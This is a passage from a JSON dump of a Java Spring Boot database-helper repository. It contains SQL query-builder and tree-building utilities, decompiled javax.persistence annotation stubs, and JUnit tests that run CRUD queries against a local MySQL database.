where.length());\n\t\tsql.append(where);\n\t\treturn sqlContext;\n\t}\n\n\t/**\n\t * 构建select语句\n\t * \n\t * @param cls\n\t *            类对象\n\t * @param params\n\t *            查询参数\n\t * @return sql上下文\n\t */\n\tpublic static SqlContext getSelect(Class<?> cls, Map<String, Object> params) {\n\t\tSqlContext sqlContext = getSelect(cls);\n\t\tStringBuilder sql = sqlContext.getSqlBuilder();\n\t\tsql.append(WHEREOK);\n\t\tList<Object> values = new ArrayList<Object>();\n\t\tif(CollectionUtil.isNotEmpty(params)){\n\t\t\tfor (Entry<String, Object> entry : params.entrySet()) {\n\t\t\t\tString key = entry.getKey();\n\t\t\t\tObject value = entry.getValue();\n\t\t\t\tsql.append(AND).append(key).append(EQUAL);\n\t\t\t\tvalues.add(value);\n\t\t\t}\n\t\t}\n\t\tsqlContext.setParams(values.toArray());\n\t\treturn sqlContext;\n\t}\n\n\t/**\n\t * 构建select语句\n\t * \n\t * @param sql\n\t *            查询语句\n\t * @param params\n\t *            查询参数\n\t * @return sql上下文\n\t */\n\tpublic static SqlContext getSelect(StringBuilder sql, Map<String, Object> params) {\n\t\tif(sql!=null && !StrUtil.containsAnyIgnoreCase(sql,\"where\") && !StrUtil.containsAnyIgnoreCase(sql,\"limit\")\n\t\t\t\t&& !StrUtil.containsAnyIgnoreCase(sql,\"order\")){\n\t\t\tsql.append(WHEREOK);\n\t\t}\n\t\tList<Object> values = new ArrayList<Object>();\n\t\tfor (Entry<String, Object> entry : params.entrySet()) {\n\t\t\tString key = entry.getKey();\n\t\t\tObject value = entry.getValue();\n\t\t\tsql.append(AND).append(key).append(EQUAL);\n\t\t\tvalues.add(value);\n\t\t}\n\t\treturn new SqlContext(sql, values.toArray());\n\t}\n\n\t/**\n\t * 构建select语句\n\t * \n\t * @param cls\n\t *            类对象\n\t * @param page\n\t *            当前页码\n\t * @param rows\n\t *            每页条数\n\t * @param params\n\t *            查询参数\n\t * @return sql上下文\n\t */\n\tpublic static SqlContext getSelect(Class<?> cls, int page, int rows, Map<String, Object> params) {\n\t\tSqlContext sqlContext = getSelect(cls, params);\n\t\tStringBuilder sql = sqlContext.getSqlBuilder();\n\t\tsql.append(LIMIT);\n\t\tsql.append((page - 1) * rows);\n\t\tsql.append(LINK);\n\t\tsql.append(rows);\n\t\treturn sqlContext;\n\t}\n\tpublic static String getMySQlPageSQL(String sqlStr, int page, int rows) {\n\t\tStringBuilder sql = new StringBuilder(sqlStr);\n\t\tsql.append(LIMIT);\n\t\tsql.append((page - 1) * rows);\n\t\tsql.append(LINK);\n\t\tsql.append(rows);\n\t\treturn sql.toString();\n\t}\n\n\t/**\n\t * 构建select语句\n\t * \n\t *            类对象\n\t * @param page\n\t *            当前页码\n\t * @param rows\n\t *            每页条数\n\t * @param params\n\t *            查询参数\n\t * @return sql上下文\n\t */\n\tpublic static SqlContext getSelect(String sql, int page, int rows, Map<String, Object> params) {\n\t\tSqlContext sqlContext = getSelect(new StringBuilder(sql), params);\n\t\tStringBuilder pageSql = sqlContext.getSqlBuilder();\n\t\tpageSql.append(LIMIT);\n\t\tpageSql.append((page - 1) * rows);\n\t\tpageSql.append(LINK);\n\t\tpageSql.append(rows);\n\t\treturn sqlContext;\n\t}\n\n\t/**\n\t * 构建count语句(查询语句中主FROM必须大写，其他from小写)\n\t * \n\t *            类对象\n\t * @return sql上下文\n\t */\n\tpublic static SqlContext getCount(SqlContext sqlContext) {\n\t\tsqlContext.setSql(getCount(sqlContext.getSql()));\n\t\treturn sqlContext;\n\t}\n\n\t/**\n\t * 构建count语句(查询语句中主FROM必须大写，其他from小写)\n\t * \n\t *            类对象\n\t * @return sql语句\n\t */\n\tpublic static String getCount(String sql) {\n\t\tint num = 0;\n\t\tString xing = \"*\";\n\t\tStringBuilder sb = new StringBuilder();\n\t\tfor (char cr : sql.toCharArray()) {\n\t\t\tif (')' == cr) {\n\t\t\t\tnum++;\n\t\t\t}\n\t\t\tif (num == 0) {\n\t\t\t\tsb.append(cr);\n\t\t\t} else {\n\t\t\t\tsb.append(xing);\n\t\t\t}\n\t\t\tif ('(' == cr) {\n\t\t\t\tnum--;\n\t\t\t}\n\t\t}\n\t\tint i = sb.toString().replace(from, FROM).indexOf(FROM);\n\t\tsql = sql.substring(i);\n\t\tsql = sql.replace(order, ORDER).replace(limit, LIMIT).replaceAll(R_ORDER, EMPTY).replaceAll(R_LIMIT, EMPTY);\n\t\treturn SELECTCOUNT.concat(sql);\n\t}\n\n\t/**\n\t * 构建select语句\n\t * \n\t * @param sql\n\t *            类对象\n\t * @param page\n\t *            当前页码\n\t * @param rows\n\t *            每页条数\n\t * @return sql语句\n\t */\n\tpublic static String getSelect(String sql, int page, int rows) {\n\t\tStringBuilder pageSql = new StringBuilder(sql);\n\t\tpageSql.append(LIMIT);\n\t\tpageSql.append((page - 1) * rows);\n\t\tpageSql.append(LINK);\n\t\tpageSql.append(rows);\n\t\treturn pageSql.toString();\n\t}\n\n\t/**\n\t * 构建select语句\n\t */\n\tpublic static SqlContext getByParams(Class<?> cls, String[] fields, Object... parmas) {\n\t\tSqlContext sqlContext = getSelect(cls);\n\t\tStringBuilder sql = sqlContext.getSqlBuilder();\n\t\tsql.append(WHERE);\n\t\tList<Object> values = new ArrayList<Object>();\n\t\tfor (int i = 0; i < fields.length; i++) {\n\t\t\tif(i>0)sql.append(AND);\n\t\t\tsql.append(fields[i]).append(EQUAL);\n\t\t\tvalues.add(parmas[i]);\n\t\t}\n\t\tsqlContext.setParams(values.toArray());\n\t\treturn sqlContext;\n\t}\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/utils/TreeBuildUtil.java",
    "content": "package io.github.wujun728.db.utils;\n\nimport cn.hutool.core.bean.BeanUtil;\nimport cn.hutool.core.util.StrUtil;\n//import org.springframework.util.StopWatch;\n\nimport java.util.*;\n\npublic class TreeBuildUtil {\n\n    /**\n     * 对象List转为Tree树形结构\n     *\n     * @param entityList       传进来的泛型List\n     * @param rootValue 根节点值,0或者-1或者自定义的值\n     * @param idField id,主键名称\n     * @param parentIdField  parentId,父级字段名称\n     * @return\n     */\n    public static List<Map<String, Object>> buildTree(List<Map<String, Object>> entityList, String rootValue, String idField, String parentIdField) {\n        return listToTree(entityList, rootValue, idField, parentIdField);\n    }\n    public static List<Map<String, Object>> listToTree(List<Map<String, Object>> entityList, String rootValue, String idField, String parentIdField) {\n//        StopWatch stopWatch = new StopWatch();\n//        stopWatch.start();\n        List<Map<String, Object>> treeMap = new ArrayList<>();\n        List<Map> listMap = BeanUtil.copyToList(entityList,Map.class);\n        Map<String, Map<String, Object>> entityMap = new Hashtable<>();\n        listMap.forEach(map -> entityMap.put(map.get(idField).toString(), map));\n        listMap.forEach(map -> {\n            Object pid = map.get(parentIdField);\n            if (pid == null ||/* StrUtil.equals(pid.toString(), \"0\") ||*/ StrUtil.equals(pid.toString(), rootValue)) {\n                treeMap.add(map);\n            } else {\n                Map<String, Object> parentMap = entityMap.get(pid.toString());\n                if (parentMap == null) { //如果parentMap为空，则说明当前map没有父级，当前map就是顶级\n                    treeMap.add(map);\n                } else {\n                    List<Map<String, Object>> children = (List<Map<String, Object>>) parentMap.get(\"children\");\n                    if (children == null) {  //判断子级集合是否为空，为空则新创建List\n                        children = new ArrayList<>();\n                        parentMap.put(\"children\", children);\n                    }\n                    children.add(map);\n                }\n            }\n        });\n//        stopWatch.stop();\n//        stopWatch.getTotalTimeMillis();\n//        StaticLog.info(\"listToTree 耗时， \" + stopWatch.getTotalTimeMillis());\n        return treeMap;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/javax/persistence/Column.java",
    "content": "//\n// Source code recreated from a .class file by IntelliJ IDEA\n// (powered by FernFlower decompiler)\n//\n\npackage javax.persistence;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({ElementType.METHOD, ElementType.FIELD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Column {\n    String name() default \"\";\n\n    boolean unique() default false;\n\n    boolean nullable() default true;\n\n    boolean insertable() default true;\n\n    boolean updatable() default true;\n\n    String columnDefinition() default \"\";\n\n    String table() default \"\";\n\n    int length() default 255;\n\n    int precision() default 0;\n\n    int scale() default 0;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/javax/persistence/Entity.java",
    "content": "package javax.persistence;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Documented\n@Target({ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Entity {\n    String name() default \"\";\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/javax/persistence/Id.java",
    "content": "package javax.persistence;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({ElementType.METHOD, ElementType.FIELD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Id {\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/javax/persistence/Index.java",
    "content": "//\n// Source code recreated from a .class file by IntelliJ IDEA\n// (powered by FernFlower decompiler)\n//\n\npackage javax.persistence;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Index {\n    String name() default \"\";\n\n    String columnList();\n\n    boolean unique() default false;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/javax/persistence/Table.java",
    "content": "//\n// Source code recreated from a .class file by IntelliJ IDEA\n// (powered by FernFlower decompiler)\n//\n\npackage javax.persistence;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Table {\n    String name() default \"\";\n\n    String catalog() default \"\";\n\n    String schema() default \"\";\n\n    UniqueConstraint[] uniqueConstraints() default {};\n\n    Index[] indexes() default {};\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/javax/persistence/Transient.java",
    "content": "//\n// Source code recreated from a .class file by IntelliJ IDEA\n// (powered by FernFlower decompiler)\n//\n\npackage javax.persistence;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({ElementType.METHOD, ElementType.FIELD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Transient {\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/javax/persistence/UniqueConstraint.java",
    "content": "//\n// Source code recreated from a .class file by IntelliJ IDEA\n// (powered by FernFlower decompiler)\n//\n\npackage javax.persistence;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface UniqueConstraint {\n    String name() default \"\";\n\n    String[] columnNames();\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/test/java/io/github/wujun728/activerecord/_Generator.java",
    "content": "//package io.github.wujun728.activerecord;\n//\n//import com.jfinal.plugin.activerecord.ActiveRecordDemo;\n//import com.jfinal.plugin.activerecord.dialect.MysqlDialect;\n//import com.jfinal.plugin.activerecord.generator.Generator;\n//import com.jfinal.plugin.activerecord.generator.TypeMapping;\n////import com.jfinal.plugin.druid.DruidPlugin;\n//\n//import java.time.LocalDate;\n//import java.time.LocalDateTime;\n//import java.util.Date;\n//import javax.sql.DataSource;\n//\n//\n///**\n// * 本 demo 仅表达最为粗浅的 jfinal 用法，更为有价值的实用的企业级用法\n// * 详见 JFinal 俱乐部: http://jfinal.com/club\n// *\n// * 在数据库表有任何变动时，运行一下 main 方法，极速响应变化进行代码重构\n// */\n//public class _Generator {\n//\n//\t/**\n//\t * 在此统一添加不参与生成的 table。不参与生成的 table 主要有：\n//\t * 1：用于建立表之间关系的关联表，如 account_role\n//\t * 2：部分功能使用 Db + Record 模式实现，所涉及到的 table 也不参与生成\n//\t */\n//\tprivate static String[] excludedTable = {\n//\t\t\t\"login_log\",\n//\t\t\t\"account_role\",\n//\t\t\t\"role_permission\"\n//\t};\n//\n//\tpublic static DataSource getDataSource() {\n//\t\tDruidPlugin druidPlugin = ActiveRecordDemo.createDruidPlugin();\n//\t\tdruidPlugin.start();\n//\t\treturn druidPlugin.getDataSource();\n//\t}\n//\n//\tpublic static void main(String[] args) {\n//\t\t// model 所使用的包名 (MappingKit 默认使用的包名)\n//\t\tString modelPackageName = \"com.jfinal.common.model\";\n//\n//\t\t// base model 所使用的包名\n//\t\tString baseModelPackageName = modelPackageName + \".base\";\n//\n//\t\t// base model 文件保存路径\n//\t\tString baseModelOutputDir = System.getProperty(\"user.dir\")\n//\t\t\t\t+ \"/src/main/java/\" + baseModelPackageName.replace('.', '/');\n//\n//\t\t// model 文件保存路径 (MappingKit 与 DataDictionary 文件默认保存路径)\n//\t\tString modelOutputDir = baseModelOutputDir + \"/..\";\n//\n//\t\tSystem.out.println(\"输出路径：\" + baseModelOutputDir);\n//\n//\t\t// 创建生成器\n//\t\tGenerator gen = new Generator(getDataSource(), baseModelPackageName, baseModelOutputDir, modelPackageName, modelOutputDir);\n//\n//\t\t// 设置数据库方言\n//\t\tgen.setDialect(new MysqlDialect());\n//\n//\t\t// 设置是否生成字段备注\n//\t\tgen.setGenerateRemarks(true);\n//\n//\t\t// 添加不需要生成的表名\n//\t\tfor (String table : excludedTable) {\n//\t\t\tgen.addExcludedTable(table.trim());\n//\t\t}\n//\n//\t\t// 设置是否在 Model 中生成 dao 对象\n//\t\tgen.setGenerateDaoInModel(false);\n//\n//\t\t// 设置是否生成字典文件\n//\t\tgen.setGenerateDataDictionary(false);\n//\n//\t\t// 设置需要被移除的表名前缀用于生成modelName。例如表名 \"osc_user\"，移除前缀 \"osc_\"后生成的model名为 \"User\"而非 OscUser\n//\t\t// gernerator.setRemovedTableNamePrefixes(\"t_\");\n//\n//\t\t// 将 mysql 8 以及其它原因之下生成 jdk 8 日期类型映射为 java.util.Date，便于兼容老项目，也便于习惯使用 java.util.Date 的同学\n//\t\tTypeMapping tm = new TypeMapping();\n//\t\ttm.addMapping(LocalDateTime.class, Date.class);\n//\t\ttm.addMapping(LocalDate.class, Date.class);\n//\t\t// tm.addMapping(LocalTime.class, LocalTime.class);\t\t// LocalTime 暂时不变\n//\t\tgen.setTypeMapping(tm);\n//\n//\t\t// 生成\n//\t\tgen.generate();\n//\t}\n//}\n//\n//\n//\n//\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/test/java/io/github/wujun728/db/DbTest.java",
    "content": "package io.github.wujun728.db;\n\nimport cn.hutool.core.util.RandomUtil;\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.IAtom;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.utils.DataSourcePool;\nimport org.junit.BeforeClass;\nimport org.junit.Test;\n\nimport javax.sql.DataSource;\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Map;\n\nimport static io.github.wujun728.db.utils.DataSourcePool.main;\n\n\npublic class DbTest {\n\n    public static void main(String[] args) {\n        String url = \"jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        //String sqlId = Db.queryStr(\"select sql_text from api_sql  limit 1 \");\n        DataSource dataSource = DataSourcePool.init(\"main\",url,username,password);\n        Db.init(main,dataSource);\n        Db.init(main,dataSource);\n    }\n\n    @Test\n    public void testIAtom() throws Exception {\n        Db.tx(() -> {\n            try {\n                Record r = new Record();\n                int key = RandomUtil.randomInt();\n                r.set(\"id\", key);\n                Db.save(\"user\", r);\n\n                r.set(\"id\", key);\n                r.set(\"name\", \"remarks11\");\n                r.set(\"age\", 121);\n                Db.update(\"user\", \"id\", r);\n            } catch (Exception e) {\n                e.printStackTrace();\n                return false;\n            }\n            return true;\n        });\n\n        String sqlId = Db.use(main).queryStr(\"select sql_text from api_sql  limit 1 \");\n        StaticLog.info(JSONUtil.toJsonStr(sqlId));\n\n    }\n\n    //@Before\n    @BeforeClass\n    public static void init() {\n        String url = \"jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        DataSource dataSource = DataSourcePool.init(\"main\",url,username,password);\n        Db.init(dataSource);\n    }\n\n    @Test\n    public void testqueryStr() throws Exception {\n        String sqlId = Db.use(main).queryStr(\"select sql_text from api_sql  limit 1 \");\n        StaticLog.info(JSONUtil.toJsonStr(sqlId));\n\n    }\n//    @Test\n//    public void testquerySqlXml() throws Exception {\n//        String sql = \" SELECT t.update_time, t.table_id, t.table_name, t.table_comment, t.sub_table_name, t.sub_table_fk_name, t.class_name, t.tpl_category, t.package_name, t.module_name, t.business_name, t.function_name, t.function_author, t.gen_type, t.gen_path, t.options, t.remark,\\n\" +\n//                \"\\t\\t\\t   c.column_id, c.column_name, c.column_comment, c.column_type, c.java_type, c.java_field, c.is_pk, c.is_increment, c.is_required, c.is_insert, c.is_edit, c.is_list, c.is_query, c.query_type, c.html_type, c.dict_type, c.sort\\n\" +\n//                \"\\t\\tFROM gen_table t\\n\" +\n//                \"\\t\\t\\t LEFT JOIN gen_table_column c ON t.table_id = c.table_id\\n\" +\n//                \"\\t\\twhere t.table_name = #{tableName} order by c.sort \";\n//        List<Map<String, Object>> result = Db.use(main).querySqlXml(sql,MapUtil.of(\"tableName\",\"biz_test\"));\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//        List<Record> records  = RecordUtil.mappingList(result);\n//        StaticLog.info(JSONUtil.toJsonStr(records));\n//    }\n\n    /*@Test\n    public void testfindByColumnValueRecords() throws Exception {\n        List<Record> result = Db.use(main).findByColumnValueRecords(\"api_sql\",\"group\",\"default\");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }*/\n//    @Test\n//    public void testfindByColumnValueBeans() throws Exception {\n//        List<ApiSql> result = Db.use(main).findByColumnValueBeans(ApiSql.class,\"group,sql_id\",\"default\",\"queryTest45765727\");\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//    }\n//    @Test\n//    public void testfindByWhereSqlForBean() throws Exception {\n//        List<ApiSql> result = Db.use(main).findByWhereSqlForBean(ApiSql.class,\"`group`=? and `sql_id`=? \",\"default\",\"queryTest45765727\");\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//    }\n    @Test\n    public void testFindById() throws Exception {\n        Record result = Db.use(main).findById(\"biz_test\", \"11\");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n    @Test\n    public void testFindBySql() throws Exception {\n        List<Record> result = Db.use(main).find(\" select * from api_sql \");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n    @Test\n    public void testFindBySql2() throws Exception {\n        List<Record> result = Db.use(main).find(\" select * from api_sql where id = ? \",new Object[]{1});\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n    @Test\n    public void testFindByIds() throws Exception {\n        Record result1 = Db.use(main).findByIds(\"api_sql\", \"id,sql_id\",\"1\",1);\n        Record result = Db.use(main).findByIds(\"api_sql\", \"id,sql_id\", \"2\",\"getBizTests\");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n    @Test\n    public void testDeleteById() throws Exception {\n        Boolean result = Db.use(main).deleteById(\"biz_test\", \"1111\");\n        StaticLog.info(String.valueOf(result));\n    }\n\n    @Test\n    public void testDeleteByIds() throws Exception {\n        Boolean result = Db.use(main).deleteById(\"api_sql\", \"sql_id\",\"getBizTests111\");\n        StaticLog.info(String.valueOf(result));\n    }\n\n    @Test\n    public void testFind2() throws Exception {\n        List<Record> result = Db.use(main).find(\" select * from api_sql where 1=1 and sql_id = ?\", \"getBizTests\");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n    @Test\n    public void testPaginate() throws Exception {\n        Page<Record> result = Db.use(main).paginate(Integer.valueOf(1), Integer.valueOf(10), \" select * \", \" from api_sql where 1=1 \");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n    @Test\n    public void testPaginate2() throws Exception {\n        Page<Record> result = Db.use(main).paginate(Integer.valueOf(1), Integer.valueOf(10), \" select * \", \" from api_sql where 1=1  \");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n\n    @Test\n    public void testSave() throws Exception {\n        Record record = new Record();\n        record.set(\"sql_id\", \"queryTest\"+RandomUtil.randomInt());\n        record.set(\"id\", RandomUtil.randomInt());\n        record.set(\"sql_text\", \"select * from biz_test\");\n        record.set(\"group\", \"default\");\n        boolean result = Db.use(main).save(\"api_sql\", record);\n        StaticLog.info(String.valueOf(result));\n    }\n\n    @Test\n    public void testUpdate() throws Exception {\n        Record record = new Record();\n        record.set(\"sql_id\", \"queryTest-153736241\");\n        record.set(\"id\", 1243333560);\n        record.set(\"sql_text\", \"select * from biz_test\");\n        record.set(\"group\", \"default\");\n        boolean result = Db.use(main).update(\"api_sql\", record);\n        StaticLog.info(String.valueOf(result));\n    }\n\n\n    @Test\n    public void testQuery() throws Exception {\n        List result = Db.use(main).find(\" select * from api_sql where sql_id = ?\", \"queryTest\");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n    @Test\n    public void testQuery2() throws Exception {\n        List result = Db.use(main).query(\" select * from api_sql where sql_id ='queryTest' \");\n        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n\n    @Test\n    public void testDeleteById2() throws Exception {\n        boolean result = Db.use(main).deleteById(\"api_sql\", \"sql_id\",\"queryTest-1242227800\");\n        StaticLog.info(String.valueOf(result));\n    }\n\n\n\n\n\n//    @Test\n//    public void findEntityList() throws Exception {\n//        List<ApiSql> result = Db.use(main).findBeanList(ApiSql.class,\" select * from api_sql \");\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//    }\n\n//    @Test\n//    public void testSaveBackId() throws Exception {\n//        ApiSql sql = new ApiSql();\n//        sql.setSqlId(\"test1\"+RandomUtil.randomNumbers(9));\n//        sql.setSqlText(\"select * from test1\");\n//        sql.setGroup(\"test11\");\n//        Integer result = Db.use(main).saveBeanBackPrimaryKey(sql);\n//        StaticLog.info(String.valueOf(result));\n//    }\n\n//    @Test\n//    public void testSave2() throws Exception {\n//        ApiSqlMybatis sql = new ApiSqlMybatis();\n//        sql.setSqlId(\"test1\"+RandomUtil.randomNumbers(9));\n//        sql.setSqlTextq(\"select * from test1\");\n//        sql.setGroup(\"test11\");\n//        Integer result = Db.use(main).saveBean(sql);\n//        StaticLog.info(String.valueOf(result));\n//    }\n\n//    @Test\n//    public void testUpdate3() throws Exception {\n//        ApiSqlMybatis sql = new ApiSqlMybatis();\n//        sql.setSqlId(\"test1449740241\");\n//        sql.setSqlTextq(\"select * from test1\");\n//        sql.setGroup(\"test11\");\n//        sql.setId(1243333565);\n//        Integer result = Db.use(main).updateBean(sql);\n//        StaticLog.info(String.valueOf(result));\n//    }\n\n\n//    @Test\n//    public void testDelete3() throws Exception {\n//        ApiSqlMybatis sql = new ApiSqlMybatis();\n//        sql.setSqlId(\"test1449740241\");\n////        sql.setSqlText(\"select * from test1\");\n////        sql.setGroup(\"test11\");\n//        sql.setId(1243333565);\n//        Integer result = Db.use(main).deleteBean(sql);\n//        StaticLog.info(String.valueOf(result));\n//    }\n\n\n//    @Test\n//    public void testGetById() throws Exception {\n//        ApiSql result = (ApiSql) Db.use(main).findBeanByIds(ApiSql.class,\"id,sql_id\",1243333563,\"test1622823114\");\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//    }\n    @Test\n    public void testGetByParams() throws Exception {\n//        ApiSql result = (ApiSql) Db.use(main).findBeanById(ApiSql.class,1243333563/*,\"test1622823114\"*/);\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n    }\n\n//    @Test\n//    public void testQueryAll() throws Exception {\n//        List result = Db.use(main).find(SqlUtil.getSelect(ApiSql.class).getSql());\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//    }\n\n    @Test\n    public void testCount() throws Exception {\n        Integer result = Db.use(main).queryInt(\" select count(1) from api_sql \");\n        StaticLog.info(String.valueOf(result));\n    }\n//    @Test\n//    public void testCoun11t() throws Exception {\n//        List<ApiSql> apiSqls = Db.use(main).findBeanList(ApiSql.class,\" select * from api_sql \");\n//        System.out.println(JSONUtil.toJsonStr(apiSqls));\n//    }\n\n\n//    @Test\n//    public void testQueryPage() throws Exception {\n//        Page result = Db.use(main).findBeanPages(ApiSql.class, 1, 10);\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//    }\n//    @Test\n//    public void testQueryPage2() throws Exception {\n//        Page result = Db.use(main).findBeanPages(ApiSql.class, 1, 10, Maps.newHashMap());\n//        StaticLog.info(JSONUtil.toJsonStr(result));\n//    }\n//    @Test\n//    public void testQueryPage2111() throws Exception {\n////        Db.use(main).findBeanPages()\n//    }\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n   /* @Test\n    public void testGetPkNames() throws Exception {\n        String result = Db.use(main).getPkNames(\"c_user\");\n        StaticLog.info(result);\n    }*/\n\n\n\n    @Test\n    public void testQueryList() throws Exception {\n        List<Map<String, Object>> datas = Db.use(main).query(\" select * from c_user \");\n        System.out.println(JSONUtil.toJsonPrettyStr(datas));\n\n    }\n\n    @Test\n    public void testQueryList2() throws Exception {\n//        List<Map<String, Object>> datas = Db.use(main).queryList(\" select * from c_user  where id_ = ? \",new Object[]{\"-8599623109329969322\"});\n//        System.out.println(JSONUtil.toJsonPrettyStr(datas));\n//\n//        Map<String, Object> result1 = Db.use(main).queryForMap(\" select * from c_user   where id_=? \", new Object[]{-8599623109329969322L});\n//        System.out.println(JSONUtil.toJsonPrettyStr(result1));\n//\n//        int result2 = Db.use(main).queryForInt(\" select count(1) from c_user \", null);\n//        System.out.println( result2 );\n//\n//        long result3 = Db.use(main).queryForLong(\" select id_ from c_user limit 1 \", null);\n//        System.out.println( result3 );\n//\n//        User result4 = Db.use(main).queryForObject(\" select * from c_user  where id_=? \", new Object[]{-8599623109329969322L}, User.class);\n//        System.out.println(JSONUtil.toJsonPrettyStr(result4));\n//\n//        String result5 =  Db.use(main).queryForString(\" select mobile_ from c_user  where id_=? \", new Object[]{-8599623109329969322L});\n//        System.out.println( result5 );\n\n//        List data1 =  Db.use(main).queryList(\"select * from c_user \");\n//        Page<Map> data111 =  Db.use(main).queryMapPages(\"select * from c_user \",1,10,null);\n//        System.out.println( JSONUtil.toJsonPrettyStr(data111) );\n        //Page<User> data1112 =  Db.use(main).queryBeanPage(User.class,1,10,\"select * from c_user \");\n        //System.out.println( JSONUtil.toJsonPrettyStr(data1112) );\n    }\n\n\n    @Test\n    public void testSave11() throws Exception {\n        Record record = new Record();\n        record.set(\"id_\", RandomUtil.randomInt());\n        record.set(\"mobile_\",\"321432\");\n        record.set(\"password_\",\"31532-9999\");\n//         Db.use(main).save(\"c_user\",record);\n//        record.set(\"id_\", RandomUtil.randomInt());\n//         Db.use(main).save(\"c_user\",\"_id\",record);\n        record.set(\"id_\", RandomUtil.randomInt());\n        //Object obj = RecordUtil.recordToBean(record,User.class);\n        //Db.use(main).saveBean(obj);\n        Db.use(main).update(\" INSERT INTO c_user(`id_`,`mobile_`,`password_`) VALUES (?,?,?) \",new Object[]{RandomUtil.randomInt(),\"abc-555\",\"abc\"});\n    }\n    @Test\n    public void testUpdate11() throws Exception {\n        Record record = new Record();\n        record.set(\"id_\", RandomUtil.randomInt());\n        record.set(\"mobile_\",\"321432\");\n        record.set(\"password_\",\"31532-9999\");\n        //Db.use(main).update(\"c_user\",record);\n        Db.use(main).update(\"c_user\",\"id_\",record);\n        //Object obj = RecordUtil.recordToBean(record,User.class);\n        // Db.use(main).updateBean(obj);\n        Db.use(main).update(\" UPDATE c_user SET `mobile_`=?,`password_`=? WHERE `id_`=? \",new Object[]{\"abc-555\",\"abc\",\"6\"});\n    }\n\n\n    @Test\n    public void testDelete11() throws Exception {\n        Record record = new Record();\n        record.set(\"id_\", RandomUtil.randomInt());\n        record.set(\"mobile_\",\"321432\");\n        record.set(\"password_\",\"31532-9999\");\n//         Db.use(main).delete(\"c_user\",record);\n//        Db.use(main).delete(\"c_user\",\"id_\",record);\n//        Db.use(main).execute(\" delete from c_user where id_ = 1\",null);\n//        Object obj = RecordUtil.recordToBean(record,User.class);\n//        Db.use(main).deleteBean(obj);\n\n        //Db.use(main).deleteById(\"c_user\",66666);\n        Db.use(main).deleteById(\"c_user\",\"id_\",66666);\n        Db.use(main).deleteById(\"c_user\",\"id_\",6666);\n    }\n\n\n\n\n    @Test\n    public void testFind11() throws Exception {\n//        List<Record>  data1 = Db.use(main).find(\"select * from c_user\");\n//        System.out.println(data1.size());\n//\n//        List<Record>  data2 = Db.use(main).find(\"select * from c_user where id_=? \",2);\n//        System.out.println(data2.size());\n//\n//        List<Record>  data3 = Db.use(main).findAll(\"c_user\");\n//        